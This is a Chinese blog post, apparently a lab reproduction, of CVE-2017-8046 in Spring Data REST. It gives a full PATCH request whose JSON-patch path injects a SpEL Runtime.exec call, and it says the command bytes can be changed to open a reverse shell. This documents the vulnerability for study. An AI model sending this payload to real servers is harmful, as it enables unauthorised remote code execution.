Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)


Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

Spring Data REST 是一个构建在 Spring Data 之上,为了帮助开发者更加容易地开发 REST 风格的 Web 服务。在 REST API 的 Patch 方法中,path 的值被传入 setValue ,导致执行了 SpEL 表达式,触发远程命令执行漏洞。

参考链接:

漏洞复现

访问 http://your-ip:8080/customers/1,看到一个资源。我们使用 PATCH 请求来修改:

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

path 的值是 SpEL 表达式,发送上述数据包,将执行 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115} 表示的命令 touch /tmp/success。然后进入容器 docker-compose exec spring bash 查看:

可见,success 成功创建。

将 bytecode 改成反弹 shell 的命令(注意:Java反弹shell的限制与绕过方式),成功弹回:


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Spring Messaging 远程命令执行漏洞(CVE-2018-1270) Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
Spring Messaging 远程命令执行漏洞(CVE-2018-1270)spring messaging 为 spring 框架提供消息支持,其上层协议是STOMP,底层通信基于 SockJS, 在 spring messaging
2019-03-03
下一篇 
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971) Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如
2019-03-03
  目录